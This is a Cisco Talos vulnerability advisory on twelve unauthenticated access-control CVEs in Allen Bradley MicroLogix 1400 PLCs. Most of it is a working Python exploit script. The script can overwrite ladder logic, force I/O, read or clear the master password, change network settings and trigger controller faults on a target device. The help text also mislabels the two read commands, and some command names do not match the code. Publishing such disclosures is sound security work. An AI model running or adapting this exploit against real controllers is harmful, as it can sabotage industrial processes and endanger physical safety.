Talos Vulnerability Report

TALOS-2017-0443

Allen Bradley Micrologix 1400 Series B Unauthenticated Data/Program/Function File Improper Access Control Vulnerability

March 28, 2018
CVE Number

CVE-2017-14462, CVE-2017-14463, CVE-2017-14464, CVE-2017-14465, CVE-2017-14466, CVE-2017-14467, CVE-2017-14468, CVE-2017-14469, CVE-2017-14470, CVE-2017-14471, CVE-2017-14472, CVE-2017-14473

Summary

An exploitable access control vulnerability exists in the data, program, and function file permissions functionality of Allen Bradley Micrologix 1400 Series B FRN 21.2 and before. A specially crafted packet can cause a read or write operation resulting in disclosure of sensitive information, modification of settings, or modification of ladder logic. An attacker can send unauthenticated packets to trigger this vulnerability.

Tested Versions

Allen Bradley Micrologix 1400 Series B FRN 21.2 Allen Bradley Micrologix 1400 Series B FRN 21.0 Allen Bradley Micrologix 1400 Series B FRN 15

Product URLs

http://ab.rockwellautomation.com/Programmable-Controllers/MicroLogix-1400

CVSSv3 Score

10 - CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H

CWE

CWE-284: Improper Access Control

Details

Numerous files within the PLC contain permissions that allow for read and/or write access by unauthenticated users. With this access it is possible to do things such as change ladder logic, insert invalid values, trigger device faults, determine the master password and read the PLC’s ladder logic. This can be accomplished through use of CIP encapsulated PCCC commands using any of the function codes associated with reading to a file (0xa1, 0xa2) or writing to a file (0xa7, 0xa9, 0xaa, 0xab).

Below is a description of notable discovered exploitable conditions.

CVE-2017-14462 - Modification of Communication Protocols and Network Configuration

Required Keyswitch State: REMOTE or PROG (also RUN for some) Description: Allows an attacker to enable SNMP, Modbus, DNP, and any other features in the channel configuration. Also allows attackers to change network parameters, such as IP address, name server, and domain name.

CVE-2017-14463 - Overwriting the PLC Ladder Logic

Required Keyswitch State: REMOTE or PROG Associated Fault Code: 0012 Fault Type: Non-User Description: A fault state can be triggered by overwriting the ladder logic data file (type 0x22 number 0x02) with null values.

CVE-2017-14464 - Causing a NVRAM/memory module mismatch

Required Keyswitch State: REMOTE or PROG Associated Fault Code: 0001 Fault Type: Non-User Description: A fault state can be triggered by setting the NVRAM/memory module user program mismatch bit (S2:9) when a memory module is NOT installed.

CVE-2017-14465 - Forcing PLC I/O

Required Keyswitch State: REMOTE Description: Any input or output can be forced, causing unpredictable activity from the PLC.

CVE-2017-14466 - Writing and Clearing the Master Password

Required Keyswitch State: REMOTE or PROG Description: The filetype 0x03 allows users write access, allowing the ability to overwrite the Master Password value stored in the file.

CVE-2017-14467 - Perform online edits to the ladder logic

Required Keyswitch State: REMOTE Description: Live rung edits are able to be made by an unauthenticated user allowing for addition, deletion, or modification of existing ladder logic. Additionally, faults and cpu state modification can be triggered if specific ladder logic is used.

CVE-2017-14468 - Triggering the PLC to load its program from EEPROM on error

Required Keyswitch State: REMOTE or PROG Description: This ability is leveraged in a larger exploit to flash custom firmware

CVE-2017-14469 - Setting an invalid value for the user fault routine

Required Keyswitch State: REMOTE or PROG Associated Fault Code: 0028 Fault Type: Non-User Description: Values 0x01 and 0x02 are invalid values for the user fault routine. By writing directly to the file it is possible to set these values. When this is done and the device is moved into a run state, a fault is triggered. NOTE: This is not possible through RSLogix.

CVE-2017-14470 - Setting Float elements to invalid values

Required Keyswitch State: REMOTE or PROG or RUN Description: The value 0xffffffff is considered NaN for the Float data type. When a float is set to this value and used in the PLC, a fault is triggered. NOTE: This is not possible through RSLogix.

CVE-2017-14471 - Triggering faults in the STI, EII, and HSC

Required Keyswitch State: REMOTE or PROG Associated Fault Codes: 0023, 002e, and 0037 Fault Type: Recoverable Description: The STI, EII, and HSC function files contain bits signifying whether or not a fault has occurred. Additionally there is a bit signaling the module to auto start. When these bits are set for any of the three modules and the device is moved into a run state, a fault is triggered.

CVE-2017-14472 - Reading Master Password

Required Keyswitch State: Any Description: Requests a specific set of bytes from an undocumented data file and returns the ASCII version of the master password

CVE-2017-14473 - Reading Master Ladder Logic

Required Keyswitch State: Any Description: Reads the encoded ladder logic from its data file and print it out in HEX

Exploit Proof-of-Concept

PoCs for each of the above documented elements are grouped into the below script. Follow the usage guidance below or that contained within the script and choose the command associated with the condition you want to cause.

Usage: python .py -i [-p ] -c Where the elements are as follows: - : whatever name you give the script - : ip address of the plc - : EtherNet/IP port (defaults to 44818) - : the command you want to run (see below)

Valid Write Commands: enable_snmp : enables SNMP server set_ip_addr : sets the ip address to the defined value overwrite_logic : overwrites all ladder logic with null bytes nvram_fault : triggers fault code 0001 force_output : forces O0:0/0 on force_input : forces I1:0/0 on clear_master_password : sets the master password to all null values online_edit : modifies ladder logic to perform a divide by 0 load_mem_module_on_err : sets S2:1/10 allowing program load from EEPROM fault_routine_fault : sets the fault routine to an invalid value (0x01) write_float_nan : sets F8:0/0 to NaN (0xffffffff), causing a fault invalid_hsc_fault : sets the ‘Auto Start’ and ‘Error Detected’ bit invalid_sti_fault : sets the ‘Auto Start’ and ‘Error Detected’ bit invalid_eii_fault : sets the ‘Auto Start’ and ‘Error Detected’ bit

Valid Read Commands: read_ladder_logic : returns the master password in ASCII read_master_password : returns the encoded ladder logic in HEX

import argparse
import socket
import binascii
import random
import crcmod.predefined

def print_help():
    print ""
    print " Micrologix 1400 Series B - Unauthenticated File Access PoC"
    print ""
    print " usage: python unauthenticated_file_access.py -i <ip_addr> [-p <port>] -c <command>"
    print ""
    print ""
    print " valid write commands:"
    print ""
    print " enable_snmp            :  enables SNMP server"
    print " set_ip_addr            :  sets the ip address to the defined value"
    print " overwrite_logic        :  overwrites all ladder logic with null bytes"
    print " nvram_fault            :  triggers fault code 0001"
    print " force_output           :  forces O0:0/0 on"
    print " force_input            :  forces I1:0/0 on"
    print " clear_master_password  :  sets the master password to all null values"
    print " online_edit            :  modifies ladder logic to perform a divide by 0"
    print " load_mem_module_on_err :  sets S2:1/10 allowing program load from EEPROM"
    print " fault_routine_fault    :  sets the fault routine to an invalid value (0x01)"
    print " write_float_nan        :  sets F8:0/0 to NaN (0xffffffff), causing a fault"
    print " invalid_hsc_fault      :  sets the 'Auto Start' and 'Error Detected' bit"
    print " invalid_sti_fault      :  sets the 'Auto Start' and 'Error Detected' bit"
    print " invalid_eii_fault      :  sets the 'Auto Start' and 'Error Detected' bit"
    print ""
    print ""
    print " valid read commands:"
    print ""
    print " read_ladder_logic      :  returns the master password in ASCII"
    print " read_master_password   :  returns the encoded ladder logic in HEX"
    print ""
    print ""
    exit()

def pad_hex(hex_str, size):
    if "0x" in hex_str: hex_str = "".join(hex_str.split("0x"))
    if len(hex_str) != size:
        numzeros = size - len(hex_str)
        zeros = "0"*numzeros
        hex_str = "%s%s" % (zeros, hex_str)
    return hex_str

def pad_byte(byte_str):
    if len(byte_str) < 8:
        num_zeros = 8 - len(byte_str)
        padding = "0"*num_zeros
        byte_str = "%s%s" % (padding, byte_str)
    return byte_str

def split_hex(hex_str):
    return list(map(''.join, zip(*[iter(hex_str)]*2)))

def get_crc(raw_instruction):
    instruction = ""
    if "\x10\x02" in raw_instruction: instruction = raw_instruction.replace("\x10\x02", "").strip().replace("\x10\x03", "\x03")
    else: instruction = raw_instruction
    if "\x10\x10" in instruction: instruction = instruction.replace("\x10\x10","\x10")
    crc16_func = crcmod.predefined.mkCrcFun('crc-16')
    computed_crc = pad_hex(hex(crc16_func(instruction)).split("0x")[1], 4)
    crc_value = "%s%s" % (computed_crc[2:4], computed_crc[0:2])
    return crc_value

def get_tns():
    temp_tns = pad_hex(hex(int(random.random()*65535)).replace("0x",""), 4)
    tns = binascii.unhexlify(temp_tns)
    return tns

def parse_response(response):
    if len(response) <= 8: clean_exit("error in response. exiting...")
    clean_response = {}
    response = binascii.hexlify(response)
    clean_response['session_handle'] = response[8:16]
    clean_response['resp_data'] = list(map(''.join, zip(*[iter(response[110:])]*2)))
    clean_response['ascii_resp_data'] = []
    for item in clean_response['resp_data']:
        charcode = int(item, 16)
        if charcode > 32 and charcode < 127: clean_response['ascii_resp_data'].append(chr(charcode))
        else: clean_response['ascii_resp_data'].append("_")
    return clean_response

def build_eth_instruction(instruction_elements, session_handle):
    command_code      = "\x6f\x00"
    status            = "\x00\x00\x00\x00"
    sender_context    = "\x00\x00\x00\x01\x00\x28\x1e\x4d"
    options           = "\x00\x00\x00\x00"
    handle            = "\x00\x00\x00\x00"
    timeout           = "\x00\x00"
    num_items         = "\x02\x00"
    addr_data_type    = "\x00\x00"
    addr_data_length  = "\x00\x00"
    data_data_type    = "\xb2\x00"
    service_code      = "\x4b"
    size_req_path     = "\x02"
    req_path          = "\x20\x67\x24\x01"
    length_req_id     = "\x07"
    cip_vendor_id     = "\x01\x00"
    cip_ser_num       = "\xf2\x0c\x02\x00"
    cmd = instruction_elements['cmd']
    sts = "\x00"
    tns = get_tns()
    fnc = instruction_elements['fnc']
    data = instruction_elements['data']
    pccc_cmd = "%s%s%s%s%s" % (cmd, sts, tns, fnc, data)
    data_data_length = len(service_code) + len(size_req_path) + len(req_path) + len(length_req_id) + len(cip_vendor_id) + len(cip_ser_num) + len(pccc_cmd)
    data_length = "%s\x00" % binascii.unhexlify(hex(data_data_length + 16)[2:])
    data_data_length = "%s\x00" % binascii.unhexlify(hex(data_data_length)[2:])
    payload = "%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s" % (command_code, data_length, session_handle, status, sender_context, options, handle, timeout, num_items, addr_data_type, addr_data_length, data_data_type, data_data_length, service_code, size_req_path, req_path, length_req_id, cip_vendor_id, cip_ser_num, pccc_cmd)
    return payload

def send_instruction(instruction_elements,session_handle):
    return_response = ""
    instruction = build_eth_instruction(instruction_elements, session_handle)
    sock.send(instruction)
    return_response = sock.recv(1024)
    return return_response

def get_channel_config(session_handle):
    channel_config_1 = {"cmd":"\x0f","fnc":"\xa2","data":"\x50\x01\x49\x00\x00"}
    channel_config_2 = {"cmd":"\x0f","fnc":"\xa2","data":"\x50\x01\x49\x00\x28"}
    channel_config_resp = parse_response(send_instruction(channel_config_1, session_handle))['resp_data']
    channel_config_resp +=  parse_response(send_instruction(channel_config_2, session_handle))['resp_data']
    channel_config= {}
    channel_config['full'] = channel_config_resp
    channel_config['ip_addr'] = channel_config_resp[38:42]
    channel_config['netmask'] = channel_config_resp[42:46]
    channel_config['gateway'] = channel_config_resp[46:50]
    channel_config['domain_name_mystery'] = channel_config_resp[50:54]
    channel_config['primary_dns'] = channel_config_resp[54:58]
    channel_config['secondary_dns'] = channel_config_resp[58:62]
    channel_config['protocol_control_byte'] = channel_config_resp[127]
    return channel_config

def modify_channel_config(param, mod_element, channel_config, channel_config_header):
    ip_addr_index = 38
    protocol_control_byte_index = 127
    crc_index = 134
    packet_split_index = 80

    if param == "enable_snmp":
        protocol_control_byte = channel_config['full'][protocol_control_byte_index]
        protocol_control_byte_bin = bin(int(protocol_control_byte, 16))[2:]
        protocol_control_byte_bin = pad_byte(protocol_control_byte_bin)
        protocol_control_byte_bin = list(protocol_control_byte_bin)
        protocol_control_byte_bin[6] = "1"
        protocol_control_byte = "".join(protocol_control_byte_bin)
        protocol_control_byte = hex(int(protocol_control_byte, 2)).split("0x")[1]
        protocol_control_byte = pad_hex(protocol_control_byte, 2)
        channel_config['full'][protocol_control_byte_index] = protocol_control_byte 

    elif param == "set_ip_addr":
        working_index = ip_addr_index
        addr = mod_element.split(".")
        reordered_addr = []
        reordered_addr.append(addr[1])
        reordered_addr.append(addr[0])
        reordered_addr.append(addr[3])
        reordered_addr.append(addr[2])
        for i in range(0, len(reordered_addr)):
            reordered_addr[i] = pad_hex(hex(int(reordered_addr[i],10)), 2)
        channel_config['full'][working_index:working_index+4] = reordered_addr
        if working_index == "": clean_exit()

    crc = get_crc(binascii.unhexlify("".join(channel_config['full'][:crc_index])))
    crc = list(map(''.join, zip(*[iter(crc)]*2)))
    channel_config['full'][crc_index] = crc[0]
    channel_config['full'][crc_index+1] = crc[1]

    payload = {}
    payload['first'] = binascii.unhexlify("".join(channel_config['full'][:packet_split_index]))
    payload['second'] = binascii.unhexlify("".join(channel_config['full'][packet_split_index:packet_split_index*2]))

    modified_channel_config_data_1 = "%s%s%s%s%s%s" % ( channel_config_header['byte_size'], channel_config_header['file_number'], channel_config_header['file_type'], channel_config_header['element_number'], channel_config_header['sub_element_number1'], payload['first'])
    modified_channel_config_data_2 = "%s%s%s%s%s%s" % ( channel_config_header['byte_size'], channel_config_header['file_number'], channel_config_header['file_type'], channel_config_header['element_number'], channel_config_header['sub_element_number2'], payload['second'])

    modified_channel_config = []
    modified_channel_config.append({"cmd":"\x0f","fnc":"\xaa","data":modified_channel_config_data_1})
    modified_channel_config.append({"cmd":"\x0f","fnc":"\xaa","data":modified_channel_config_data_2})
    return modified_channel_config

def read_file(length,fileno,filetype,element,subelement, session_handle):
    data = "%s%s%s%s%s" % (length,fileno,filetype,element,subelement)
    payload  = {"cmd":"\x0f","fnc":"\xa2","data":data}
    resp = binascii.hexlify(send_instruction(payload,session_handle))[102:]
    resp = split_hex(resp)
    return resp

def program_register(register_data_array, session_handle):
    unknown_programming_requirement = {"cmd":"\x0f","fnc":"\x88","data":"\x02\x0c\xaa\x06\x00\x63\x00\x00\x08\x91\x00\x00\x83\xf1\x01\x56"}
    get_edit_resource               = {"cmd":"\x0f","fnc":"\x11","data":""}
    download_complete               = {"cmd":"\x0f","fnc":"\x52","data":""}
    apply_port_config               = {"cmd":"\x0f","fnc":"\x8f","data":"\x00\x00\x00"}
    return_edit_resource            = {"cmd":"\x0f","fnc":"\x12","data":""}

    if not isinstance(register_data_array, list): register_data_array = [register_data_array]
    set_cpu_state("prog", session_handle)
    send_instruction(unknown_programming_requirement, session_handle)
    send_instruction(get_edit_resource, session_handle)
    for packet in register_data_array: split_hex(binascii.hexlify(send_instruction(packet, session_handle))[102:])
    send_instruction(download_complete, session_handle)
    send_instruction(apply_port_config, session_handle)
    send_instruction(return_edit_resource, session_handle)

def enumerate_file(fileno, filetype, subelement, session_handle):
    filedata = []
    length = "\x02"
    for i in range(0,256):
        element = binascii.unhexlify(pad_hex(hex(i),2))
        resp = read_file(length,fileno,filetype,element,subelement, session_handle)
        if resp[1] == "00":
            for item in resp[4:]:
                filedata.append(item)
    length = len(filedata)
    return length

def set_cpu_state(state, session_handle):
    payload = ""
    if state == "run": payload = {"cmd":"\x0f","fnc":"\x80","data":"\x06"}
    elif state == "prog": payload = {"cmd":"\x0f","fnc":"\x80","data":"\x01"}
    send_instruction(payload, session_handle)

def register_session():
    registersession_data = "\x65\x00\x04\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x28\x1e\x4d\x00\x00\x00\x00\x01\x00\x00\x00"
    sock.send(registersession_data)
    reg_session_response = binascii.hexlify(sock.recv(28))
    session_handle = binascii.unhexlify(reg_session_response[8:16])
    return session_handle

parser = argparse.ArgumentParser()
parser.add_argument("-i", "--ipaddr", help="target ip address", type=str)
parser.add_argument("-p", "--port", help="target port", default=44818, type=int)
parser.add_argument("-c", "--command", help="command to run", type=str)
args = parser.parse_args()


dst = args.ipaddr
port = args.port
param = args.command
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.connect((dst, port))
session_handle = register_session()

if param == "enable_snmp" or param == "set_ip_addr":
    mod_element = ""
    new_ip_addr = "10.0.0.2"
    channel_config = get_channel_config(session_handle)
    channel_config_header = {"byte_size":"\x50", "file_number":"\x01", "file_type":"\x49", "element_number":"\x00", "sub_element_number1":"\x00", "sub_element_number2":"\x28"}
    if param == "set_ip_addr": mod_element = new_ip_addr
    channel_config = modify_channel_config(param, mod_element, channel_config, channel_config_header)
    program_register(channel_config,session_handle)

elif param == "overwrite_logic":
    fileno = "\x02"
    filetype = "\x22"
    subelement = "\x00"
    element = "\x00"
    length = enumerate_file(fileno, filetype, subelement, session_handle)
    content = "\x00" * length
    length = binascii.unhexlify(pad_hex(hex(length)[2:],2))
    data = "%s%s%s%s%s%s" % (length, fileno, filetype, element, subelement, content)
    payload = {"cmd":"\x0f","fnc":"\xaa","data":data}
    program_register(payload, session_handle)

elif param == "trigger_nvram_fault":
    payload = {"cmd":"\x0f","fnc":"\xaa","data":"\x02\x02\x84\x02\x00\x00\x02"}
    program_register(payload, session_handle)
    set_cpu_state("run",session_handle)

elif param == "force_output" or param == "force_input":
    set_force_bits_byte_size      = "\x02"
    set_force_bits_file_no        = "\x02"
    set_force_bits_file_type      = "\x84"
    set_force_bits_element_no     = "\x00"
    set_force_bits_sub_element_no = "\x01"
    set_force_bits_payload        = "\x66\x00"
    set_force_bits_data           = "%s%s%s%s%s%s" % (set_force_bits_byte_size, set_force_bits_file_no, set_force_bits_file_type, set_force_bits_element_no, set_force_bits_sub_element_no, set_force_bits_payload)
    set_force_bits                = {"cmd":"\x0f","fnc":"\xaa","data":set_force_bits_data}
    program_register(set_force_bits, session_handle)
    force_output  = {"cmd":"\x0f","fnc":"\xab","data":"\x04\x00\xa1\x00\x00\x01\x00\x01\x00\x01\x00"}
    force_input  = {"cmd":"\x0f","fnc":"\xab","data":"\x04\x01\xa2\x00\x00\x01\x00\x01\x00\x01\x00"}
    if param == "force_output": send_instruction(force_output, session_handle)
    elif param == "force_input": send_instruction(force_input, session_handle)
    set_cpu_state('run',session_handle)

elif param == "clear_master_password":
    byte_size      = "\x0a"
    file_no        = "\x00"
    file_type      = "\x03"
    element_no     = "\x00"
    sub_element_no = "\x10"
    new_master_pass = "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
    data = "%s%s%s%s%s%s" % (byte_size, file_no, file_type, element_no, sub_element_no, new_master_pass)
    set_master_password = {"cmd":"\x0f","fnc":"\xaa","data":data}
    program_register(set_master_password, session_handle)

elif param == "online_edit":
    fault_list = [
    {"cmd":"\x0f","fnc":"\xa9","data":"\x06\x00\x65\x00\x01\x01\x01\x00\x11\x00"},  # something similar to get edit resource
    {"cmd":"\x0f","fnc":"\xa9","data":"\x2a\x00\x65\x00\x01\x01\x02\x02\x90\x20\x02\x00\x1c\x00\x68\x01\x89\x18\x1c\x00\xa8\x00\x16\x00\x81\x07\xb8\x4f\x00\x00\x85\x08\xbe\x4f\x00\x00\x81\x07\xb8\x4f\x00\x00\x6d\x02\xef\x98"},
    {"cmd":"\x0f","fnc":"\xa9","data":"\x06\x00\x65\x00\x01\x01\x01\x00\x14\x00"},
    {"cmd":"\x0f","fnc":"\xa9","data":"\x06\x00\x65\x00\x01\x01\x01\x00\x12\x00"}   # something similar to return edit resource
    ]
    set_cpu_state("run",session_handle)
    float_0_val_0 = {"cmd":"\x0f","fnc":"\xaa","data":"\x04\x08\x8a\x00\x00\x00\x00\x00\x00"}
    send_instruction(float_0_val_0, session_handle)
    for instruction in fault_list:
        send_instruction(instruction,session_handle) 

elif param == "load_mem_module_on_error":
    status_byte_size      = "\x02"
    status_file_no        = "\x02"
    status_file_type      = "\x84"
    status_element_no     = "\x00"
    status_sub_element_no = "\x01"
    status_payload        = "\x00\x04"
    status_data           = "%s%s%s%s%s%s" % (status_byte_size, status_file_no, status_file_type, status_element_no, status_sub_element_no, status_payload)
    load_mem_module_on_error = {"cmd":"\x0f","fnc":"\xaa","data":status_data}
    program_register(load_mem_module_on_error, session_handle)

elif param == "fault_routine_fault":
    set_fault_routine = {"cmd":"\x0f","fnc":"\xaa","data":"\x02\x02\x84\x1d\x00\x01\x00"}
    set_cpu_state("prog", session_handle)
    send_instruction(set_fault_routine,session_handle)
    set_cpu_state("run", session_handle)   

elif param == "write_float_nan":
    float_nan = {"cmd":"\x0f","fnc":"\xaa","data":"\x04\x08\x8a\x00\x00\xff\xff\xff\xff"}
    send_instruction(float_nan,session_handle)

elif param == "invalid_hsc_fault":
    payload = {"cmd":"\x0f","fnc":"\xab","data":"\x02\x00\xe0\x00\x02\x60\x00\x60\x00"}
    set_cpu_state("prog",session_handle)
    send_instruction(payload,session_handle)
    set_cpu_state("run",session_handle)

elif param == "invalid_sti_fault":
    payload = {"cmd":"\x0f","fnc":"\xab","data":"\x02\x00\xe2\x00\x02\x60\x00\x60\x00"}
    set_cpu_state("prog",session_handle)
    send_instruction(payload,session_handle)
    set_cpu_state("run",session_handle)

elif param == "invalid_eii_fault":
    payload = {"cmd":"\x0f","fnc":"\xab","data":"\x02\x00\xe3\x00\x02\x60\x00\x60\x00"}
    set_cpu_state("prog",session_handle)
    send_instruction(payload,session_handle)
    set_cpu_state("run",session_handle)

elif param == "read_ladder_logic":
    fileno = "\x02"
    filetype = "\x22"
    element = "\x00"
    subelement = "\x00"   
    length = enumerate_file(fileno, filetype, subelement, session_handle)
    length = binascii.unhexlify(pad_hex(hex(length)[2:],2))
    resp = read_file(length, fileno, filetype, element, subelement, session_handle)
 
    filedata = []
    if resp[1] == "00":
        for item in resp[4:]:
            filedata.append(item)
 
    print "filetype: 0x%s" % binascii.hexlify(filetype)
    print "fileno:   0x%s" % binascii.hexlify(fileno)
    print "length:   0x%s" % binascii.hexlify(length)
    print ""
    print "Encoded Ladder Logic (hex):     "
    count = 1
    for value in filedata: 
        if count % 16 == 0: print value
        else: print value,
        count +=1
    print ""
    print ""
 
elif param == "read_master_password":
    length = "\x0a"
    fileno = "\x00"
    filetype = "\x03"
    element = "\x00"
    subelement = "\x10"   
    resp = read_file(length, fileno, filetype, element, subelement, session_handle)[4:]
    master_pass = ["_","_","_","_","_","_","_","_","_","_"]
    for i in range(0,len(master_pass)):
        if resp[i] != "00": master_pass[i] = binascii.unhexlify(resp[i])
    master_pass = "".join(master_pass)
    if master_pass == "__________": print "Master Password: <not_set>"
    else: print "\nMaster Password: %s" % master_pass

else: print_help()

sock.shutdown(socket.SHUT_RDWR)
sock.close()

Timeline

2017-09-22 - Vendor Disclosure
2018-03-28D - Public Release

Credit

Discovered by Jared Rittle and Patrick DeSantis of Cisco Talos.